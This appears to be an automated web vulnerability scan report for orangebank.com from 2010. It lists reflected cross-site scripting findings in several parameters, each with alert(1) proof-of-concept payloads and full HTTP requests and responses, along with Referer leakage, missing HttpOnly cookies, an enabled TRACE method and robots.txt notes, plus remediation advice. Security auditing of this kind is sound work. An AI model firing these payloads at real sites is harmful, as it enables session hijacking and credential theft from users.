Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://orangebank.com/exitpage/Credit.php [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://orangebank.com
Path:
/exitpage/Credit.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ffbb"-alert(1)-"8000a7c1f8f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /exitpage/Credit.php/5ffbb"-alert(1)-"8000a7c1f8f HTTP/1.1 Host: orangebank.com Proxy-Connection: keep-alive Referer: http://orangebank.com/fullpop.php?rurl=%2Fexitpage%2FCredit.php Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=ws84d02bad3259b20.68121860; tt2=g
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 23:56:40 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 10389
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Credit & Loans</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <style type="text/cs ...[SNIP]... <script> var url = "http://www.linkz.com/exitpage/5ffbb"-alert(1)-"8000a7c1f8f"; var title = "Credit & Loans"; var app = navigator.appName; var ver = parseInt(navigator.appVersion);
if((app == "Microsof ...[SNIP]...
1.2. http://orangebank.com/fullpop.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://orangebank.com
Path:
/fullpop.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload af872'%3balert(1)//ff3b8030229 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as af872';alert(1)//ff3b8030229 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /fullpop.php?rurl=%2Fexitpage%2FCredit/af872'%3balert(1)//ff3b8030229.php HTTP/1.1 Host: orangebank.com Proxy-Connection: keep-alive Referer: http://orangebank.com/t.php?uid=ws84d02bad3259b20.68121860&src=&cat=banking%2Fcredit%2Floans&kw=Banking&sc=banks Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=ws84d02bad3259b20.68121860; tt2=g
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 23:56:40 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 211 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> <html> <head> <title>-</title> <script> window.moveTo(0,0); self.location = '/exitpage/Credit/af872';alert(1)//ff3b8030229.php'; </script> </head>
The value of the rurl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6424a'%3balert(1)//d23fe1df2ac was submitted in the rurl parameter. This input was echoed as 6424a';alert(1)//d23fe1df2ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /fullpop.php?rurl=%2Fexitpage%2FCredit.php6424a'%3balert(1)//d23fe1df2ac HTTP/1.1 Host: orangebank.com Proxy-Connection: keep-alive Referer: http://orangebank.com/t.php?uid=ws84d02bad3259b20.68121860&src=&cat=banking%2Fcredit%2Floans&kw=Banking&sc=banks Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=ws84d02bad3259b20.68121860; tt2=g
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 23:56:22 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 210 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> <html> <head> <title>-</title> <script> window.moveTo(0,0); self.location = '/exitpage/Credit.php6424a';alert(1)//d23fe1df2ac'; </script> </head>
The value of the src request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb79e"><script>alert(1)</script>5bd50174357 was submitted in the src parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search.php?uid=ws84d02bad3259b20.68121860&src=fb79e"><script>alert(1)</script>5bd50174357 HTTP/1.1 Host: orangebank.com Proxy-Connection: keep-alive Referer: http://orangebank.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=ws84d02bad3259b20.68121860; tt2=g
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 23:57:05 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 44124
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/2000/REC-xhtml1-200000126/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:la ...[SNIP]... <a href="search.php?uid=ws84d02bad3259b20.68121860&src=fb79e"><script>alert(1)</script>5bd50174357&sec=tb"> ...[SNIP]...
The value of the uid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c055d"><script>alert(1)</script>fd8afbfb245 was submitted in the uid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search.php?uid=ws84d02bad3259b20.68121860c055d"><script>alert(1)</script>fd8afbfb245&src= HTTP/1.1 Host: orangebank.com Proxy-Connection: keep-alive Referer: http://orangebank.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=ws84d02bad3259b20.68121860; tt2=g
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 23:56:32 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 44545
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/2000/REC-xhtml1-200000126/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:la ...[SNIP]... <a href="search.php?uid=ws84d02bad3259b20.68121860c055d"><script>alert(1)</script>fd8afbfb245&src=&sec=tb"> ...[SNIP]...
The value of the uid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de969"><script>alert(1)</script>aec7b09484d was submitted in the uid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /t.php?uid=ws84d02bad3259b20.68121860de969"><script>alert(1)</script>aec7b09484d&src=&cat=banking%2Fcredit%2Floans&kw=Banking&sc=banks HTTP/1.1 Host: orangebank.com Proxy-Connection: keep-alive Referer: http://orangebank.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=ws84d02bad3259b20.68121860; tt2=g
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 23:56:19 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 1998 Connection: close Content-Type: text/html; charset=UTF-8
<html> <head>
<script type='text/javascript'><!--//<![CDATA[ function pop_ax() { if (--pop_cnt==0) { return; } var x=setTimeout('pop_ax()',750); var o=window.document.getElementById ...[SNIP]... <a href="/link.php?uid=ws84d02bad3259b20.68121860de969"><script>alert(1)</script>aec7b09484d&d=orangebank.com"> ...[SNIP]...
The value of the uid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 25950'%3balert(1)//9a54d7ef04e was submitted in the uid parameter. This input was echoed as 25950';alert(1)//9a54d7ef04e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /t.php?uid=ws84d02bad3259b20.6812186025950'%3balert(1)//9a54d7ef04e&src=&cat=banking%2Fcredit%2Floans&kw=Banking&sc=banks HTTP/1.1 Host: orangebank.com Proxy-Connection: keep-alive Referer: http://orangebank.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=ws84d02bad3259b20.68121860; tt2=g
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 23:56:20 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 1968 Connection: close Content-Type: text/html; charset=UTF-8
<html> <head>
<script type='text/javascript'><!--//<![CDATA[ function pop_ax() { if (--pop_cnt==0) { return; } var x=setTimeout('pop_ax()',750); var o=window.document.getElementById ...[SNIP]... <im'+'g src="/track.php?uid=ws84d02bad3259b20.6812186025950';alert(1)//9a54d7ef04e&d=orangebank.com&sr='+sr+'" width=1 height=1> ...[SNIP]...
2. Cross-domain Referer leakagepreviousnext There are 2 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
The response contains the following link to another domain:
http://64.69.82.201/1p.gif
Request
GET /t.php?uid=ws84d02bad3259b20.68121860&src=&cat=banking%2Fcredit%2Floans&kw=Banking&sc=banks HTTP/1.1 Host: orangebank.com Proxy-Connection: keep-alive Referer: http://orangebank.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=ws84d02bad3259b20.68121860; tt2=g
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 23:42:11 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Length: 1912 Connection: close Content-Type: text/html; charset=UTF-8
<html> <head>
<script type='text/javascript'><!--//<![CDATA[ function pop_ax() { if (--pop_cnt==0) { return; } var x=setTimeout('pop_ax()',750); var o=window.document.getElementById ...[SNIP]... <a href="/link.php?uid=ws84d02bad3259b20.68121860&d=orangebank.com"><img src="http://64.69.82.201/1p.gif" border="0"></a> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET / HTTP/1.1 Host: orangebank.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<html> <head> <title>orangebank.com: The Leading Banking Site on the Net</title> </head> <frameset cols="1,*" border=0> <frame name="top" src="t.php?uid=ws84d02bad3259b20.68121860&src=&cat=banking%2 ...[SNIP]...
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: orangebank.com
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 23:56:14 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 196 Connection: close Content-Type: text/html; charset=UTF-8